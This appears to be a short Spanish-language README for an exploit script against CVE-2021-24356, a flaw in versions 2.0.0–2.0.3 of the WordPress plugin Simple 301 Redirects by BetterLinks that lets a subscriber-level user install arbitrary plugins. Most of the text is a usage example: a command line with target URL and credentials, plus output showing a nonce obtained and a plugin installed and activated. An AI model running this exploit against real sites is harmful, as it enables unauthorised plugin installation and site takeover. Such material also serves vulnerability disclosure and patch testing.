CVE-2021-24356

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - Suscriptor + Instalación Arbitraria de Plugins

Descripción

La falta de comprobaciones de capacidad y una comprobación de nonce insuficiente en la acción AJAX del plugin, hizo posible que usuarios autenticados instalaran plugins arbitrarios en sitios vulnerables.

Cómo usar

$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}

Nota: Algunos plugins podrían no activarse si no es necesario cambiar la variable sluga a la ruta/file.php que es el archivo principal del plugin; actualmente funciona muy bien cuando el slug es algo como betterlinks y el archivo principal del plugin se llama betterlinks.php.